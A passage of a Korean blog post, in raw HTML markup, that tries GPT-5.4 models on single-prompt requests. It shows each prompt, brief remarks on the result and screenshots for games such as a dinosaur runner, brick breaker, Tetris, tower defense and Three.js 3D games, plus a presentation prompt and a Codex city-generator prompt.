this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1110&quot; height=&quot;1312&quot; data-origin-width=&quot;1110&quot; data-origin-height=&quot;1312&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;1690&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/H5O5L/dJMcagxS5AU/i8sXgWLaT0O2jqlw43G9l1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/H5O5L/dJMcagxS5AU/i8sXgWLaT0O2jqlw43G9l1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/H5O5L/dJMcagxS5AU/i8sXgWLaT0O2jqlw43G9l1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FH5O5L%2FdJMcagxS5AU%2Fi8sXgWLaT0O2jqlw43G9l1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;481&quot; height=&quot;687&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;1690&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;display: flex; align-items: center; gap: 10px; margin-bottom: 12px;&quot;&gt;&lt;span style=&quot;font-size: 14px; color: #888;&quot;&gt;모델: Pro 5.4&lt;/span&gt;&lt;/div&gt;
&lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;공룡 달리기 게임&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;Chrome 오프라인 공룡 게임 스타일. 점프 타이밍 게임의 클래식입니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Chrome 공룡 게임처럼 옆으로 달리는 점프 게임을 만들어줘.
- 스페이스바나 클릭으로 점프
- 장애물(선인장, 새)이 오른쪽에서 랜덤 등장
- 점수가 올라갈수록 속도 증가
- 픽셀 아트 느낌의 캐릭터, 단일 HTML 파일&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;ex)&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1938&quot; data-origin-height=&quot;868&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bn2qf2/dJMcajuBtaK/Jm2idPLJSmZwvPFuA0iqr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bn2qf2/dJMcajuBtaK/Jm2idPLJSmZwvPFuA0iqr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bn2qf2/dJMcajuBtaK/Jm2idPLJSmZwvPFuA0iqr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbn2qf2%2FdJMcajuBtaK%2FJm2idPLJSmZwvPFuA0iqr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1938&quot; height=&quot;868&quot; data-origin-width=&quot;1938&quot; data-origin-height=&quot;868&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 게임 예시 C --&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;display: flex; align-items: center; gap: 10px; margin-bottom: 12px;&quot;&gt;&lt;span style=&quot;font-size: 14px; color: #888;&quot;&gt;모델: Pro 5.4&lt;/span&gt;&lt;/div&gt;
&lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;벽돌 깨기 게임&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;마우스로 패들을 조작해 모든 벽돌을 없애는 고전 게임. 물리 반사 로직을 AI가 얼마나 정확하게 구현하는지 볼 수 있습니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Canvas로 벽돌 깨기 게임을 만들어줘.
- 마우스(또는 방향키)로 하단 패들 이동
- 상단에 색상별 벽돌 배열 (5행 x 10열)
- 공이 벽과 패들에서 정확히 반사
- 목숨 3개, 모든 벽돌 제거 시 클리어 화면
- 단일 HTML 파일&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 아쉬운점은 아이템이 없고, 다음 스테이지 등이 없지만, 싱글 프롬프트임에도 생각보다 부딪히는 각도에 따라 공의 움직임이 실제 벽돌깨기 만큼이나 퀄리티가 높았기때문에 만족스러웠고, 그나마 빨리 만든 게임 이었다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;1318&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sU8Yc/dJMcahcvk8s/YTYeQ7OPcT3t5DiAKjb5iK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sU8Yc/dJMcahcvk8s/YTYeQ7OPcT3t5DiAKjb5iK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sU8Yc/dJMcahcvk8s/YTYeQ7OPcT3t5DiAKjb5iK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsU8Yc%2FdJMcahcvk8s%2FYTYeQ7OPcT3t5DiAKjb5iK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1166&quot; height=&quot;1318&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;1318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 열심히 gpt가 만들어준 게임인 만큼 clear해보았다.&lt;/p&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2348&quot; data-origin-height=&quot;1720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Yb5xD/dJMcaibrt0x/mkaUjULZtPq7pkijcKzz40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Yb5xD/dJMcaibrt0x/mkaUjULZtPq7pkijcKzz40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Yb5xD/dJMcaibrt0x/mkaUjULZtPq7pkijcKzz40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYb5xD%2FdJMcaibrt0x%2FmkaUjULZtPq7pkijcKzz40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2348&quot; height=&quot;1720&quot; data-origin-width=&quot;2348&quot; data-origin-height=&quot;1720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 게임 예시 E --&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;display: flex; align-items: center; gap: 10px; margin-bottom: 12px;&quot;&gt;&lt;span style=&quot;font-size: 14px; color: #888;&quot;&gt;모델: Pro 5.4&lt;/span&gt;&lt;/div&gt;
&lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;플래피 버드 스타일 게임&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;클릭 한 번으로 날갯짓, 파이프 사이를 통과하는 중독성 게임. 단순하지만 물리 구현이 까다롭습니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;플래피 버드 스타일 게임을 만들어줘.
- 스페이스바나 클릭으로 위로 날갯짓
- 파이프 장애물이 랜덤 높이로 등장
- 중력 효과로 자연스럽게 아래로 떨어짐
- 파이프 통과 시 점수 획득, 충돌 시 게임오버
- 단일 HTML 파일&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;1348&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZH9Rh/dJMcajahQEr/kSNODV6u9ryCZKMtSoX0s1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZH9Rh/dJMcajahQEr/kSNODV6u9ryCZKMtSoX0s1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZH9Rh/dJMcajahQEr/kSNODV6u9ryCZKMtSoX0s1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZH9Rh%2FdJMcajahQEr%2FkSNODV6u9ryCZKMtSoX0s1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;317&quot; height=&quot;453&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;1348&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 게임 예시 F --&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;display: flex; align-items: center; gap: 10px; margin-bottom: 12px;&quot;&gt;&lt;span style=&quot;font-size: 14px; color: #888;&quot;&gt;모델: Pro 5.4&lt;/span&gt;&lt;/div&gt;
&lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;테트리스&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;블록 회전&amp;middot;이동&amp;middot;쌓기까지 구현해야 하는 테트리스는 AI 코딩 능력의 리트머스 테스트입니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;테트리스 게임을 만들어줘.
- 7종류 테트로미노 블록 (I, O, T, S, Z, J, L)
- 방향키로 이동&amp;middot;회전, 아래 방향키로 빠르게 낙하
- 한 줄 완성 시 제거 + 점수 획득
- 레벨 올라갈수록 낙하 속도 증가
- 다음 블록 미리보기, 단일 HTML 파일&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 하다보니 스페이스바로 한번에 떨어뜨리는 기능을 요청하지 않은게 후회되었지만, ...ㅎㅎㅎ&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1300&quot; data-origin-height=&quot;1806&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yOrmT/dJMcadHUfJd/NrQ63W2TQ0RoskyAYkQgkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yOrmT/dJMcadHUfJd/NrQ63W2TQ0RoskyAYkQgkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yOrmT/dJMcadHUfJd/NrQ63W2TQ0RoskyAYkQgkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyOrmT%2FdJMcadHUfJd%2FNrQ63W2TQ0RoskyAYkQgkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;434&quot; height=&quot;603&quot; data-origin-width=&quot;1300&quot; data-origin-height=&quot;1806&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 게임 예시 G --&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;display: flex; align-items: center; gap: 10px; margin-bottom: 12px;&quot;&gt;&lt;span style=&quot;font-size: 14px; color: #888;&quot;&gt;모델: Thinking 5.4&lt;/span&gt;&lt;/div&gt;
&lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;타워 디펜스 게임&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;적 경로 계산, 타워 배치, 업그레이드 시스템까지. 로직이 복잡한 장르라 AI가 한 번에 얼마나 구현하는지 도전해보세요.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;타워 디펜스 게임을 만들어줘.
- 격자 맵에 타워를 클릭으로 배치
- 적들이 정해진 경로를 따라 이동
- 타워 3종류 (기본/속사/광역), 골드로 구매
- 적 처치 시 골드 획득, 기지에 적 도달 시 목숨 감소
- 웨이브 시스템 (점점 강해지는 적), 단일 HTML 파일&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1604&quot; data-origin-height=&quot;1772&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZgKgC/dJMcaaxHF6O/kRVfCEESkmnKtKYPIk01A0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZgKgC/dJMcaaxHF6O/kRVfCEESkmnKtKYPIk01A0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZgKgC/dJMcaaxHF6O/kRVfCEESkmnKtKYPIk01A0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZgKgC%2FdJMcaaxHF6O%2FkRVfCEESkmnKtKYPIk01A0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1604&quot; height=&quot;1772&quot; data-origin-width=&quot;1604&quot; data-origin-height=&quot;1772&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 3D 게임 서브섹션 --&gt;
&lt;h4 style=&quot;font-size: 17px; color: #cc3300; margin: 30px 0 15px; font-weight: 600; border-bottom: 2px solid #ffd6cc; padding-bottom: 8px;&quot; data-ke-size=&quot;size20&quot;&gt;3D 게임 챌린지 &amp;mdash; Three.js로 입체 세계 만들기&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;Three.js CDN을 활용하면 브라우저에서 3D 게임도 만들 수 있습니다. GPT-5.4가 라이브러리 import부터 3D 물리까지 한 번에 짜주는지 도전해보세요.&lt;/p&gt;
&lt;!-- 게임 예시 H: 3D 공 굴리기 --&gt;
&lt;div style=&quot;background-color: #fff8f0; border: 1px solid #ffcc99; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;display: flex; align-items: center; gap: 10px; margin-bottom: 12px;&quot;&gt;&lt;span style=&quot;font-size: 14px; color: #888;&quot;&gt;모델: Thinking 5.4&lt;/span&gt;&lt;/div&gt;
&lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;3D 공 굴리기 (Marble Roll)&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;기울어진 3D 플랫폼에서 공을 굴려 골인 지점까지 도달하는 게임. Three.js CDN으로 즉시 실행됩니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Three.js CDN을 사용해 3D 공 굴리기 게임을 만들어줘.
- WASD 또는 방향키로 공 이동
- 3D 플랫폼 위를 굴러다니는 구 물리
- 플랫폼 끝에서 떨어지면 리스폰
- 목표 지점(골인 구역)에 닿으면 클리어
- CDN import 포함 단일 HTML 파일&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 버그는 있지만 3d와 조작은 잘 동작한다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/us70t/dJMcaibrud3/RXkJ6TPAzhJLPGqLoJFF2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/us70t/dJMcaibrud3/RXkJ6TPAzhJLPGqLoJFF2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/us70t/dJMcaibrud3/RXkJ6TPAzhJLPGqLoJFF2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fus70t%2FdJMcaibrud3%2FRXkJ6TPAzhJLPGqLoJFF2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1962&quot; height=&quot;1116&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff8f0; border: 1px solid #ffcc99; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;display: flex; align-items: center; gap: 10px; margin-bottom: 12px;&quot;&gt;&lt;span style=&quot;font-size: 14px; color: #888;&quot;&gt;모델: 5.4 Pro&lt;/span&gt;&lt;/div&gt;
&lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;3D 레이싱 게임&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;유튜브 쇼케이스에서 소개된 비행 시뮬레이터와 같은 방식의 물리 기반 차량 게임입니다. 커브 드리프트까지 구현해줄까요?&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Three.js CDN으로 3D 레이싱 게임을 만들어줘.
- WASD로 차량 가속/후진/조향
- 원형/타원형 레이싱 트랙
- 카메라가 차량 뒤를 따라가는 3인칭 시점
- 랩 타임 측정, 최고 기록 저장
- 차량에 간단한 물리 효과 (관성, 코너링)
- CDN import 포함 단일 HTML 파일&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3454&quot; data-origin-height=&quot;1932&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2NwDE/dJMcac93sYo/6l1dtHhS6NjaVpTY2wvDyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2NwDE/dJMcac93sYo/6l1dtHhS6NjaVpTY2wvDyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2NwDE/dJMcac93sYo/6l1dtHhS6NjaVpTY2wvDyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2NwDE%2FdJMcac93sYo%2F6l1dtHhS6NjaVpTY2wvDyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3454&quot; height=&quot;1932&quot; data-origin-width=&quot;3454&quot; data-origin-height=&quot;1932&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 예시 3 --&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;display: flex; align-items: center; gap: 10px; margin-bottom: 12px;&quot;&gt;&lt;span style=&quot;font-size: 14px; color: #888;&quot;&gt;모델: Thinking 5.4&lt;/span&gt;&lt;/div&gt;
&lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;예시 3 - PPT 한 번에 만들기&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;자료를 첨부하고 프롬프트 하나로 발표자료를 완성해보세요. 레이아웃의 전문성을 직접 확인할 수 있습니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;asciidoc&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;[첨부 파일 내용]을 바탕으로 5페이지 발표자료를 만들어줘.
- 표지, 목차, 핵심 내용 3슬라이드 구성
- 전문적인 레이아웃으로
- 다운로드 가능한 PPTX 형식으로&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #0066cc; margin: 25px 0 15px; font-weight: 600; border-bottom: 2px solid #cce5ff; padding-bottom: 8px;&quot; data-ke-size=&quot;size20&quot;&gt;Part B: Codex에서 해보기 (개발자 전용)&lt;/h4&gt;
&lt;!-- 예시 4 --&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;display: flex; align-items: center; gap: 10px; margin-bottom: 12px;&quot;&gt;&lt;span style=&quot;font-size: 14px; color: #888;&quot;&gt;모델: Codex (GPT-5.4 기반)&lt;/span&gt;&lt;/div&gt;
&lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;예시 4 - 자율 앱 개발 (City Generator 방식)&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size14&quot;&gt;Codex에게 3D 앱을 만들어달라고 요청하고, AI가 스스로 단계를 나누고 실행 후 화면을 보며 수정하는 과정을 관찰해보세요.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;3D 도시 생성기를 만들어줘.
- Three.js 사용
- 랜덤으로 건물 배치 생성
- 카메라 회전/줌 기능 포함
- 완성되면 로컬 서버로 실행&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 너무 데충 프롬프트를 했지만, 그래도 3D 렌더링이 잘 되는 것 까진 볼 수 있었다.&lt;/p&gt;
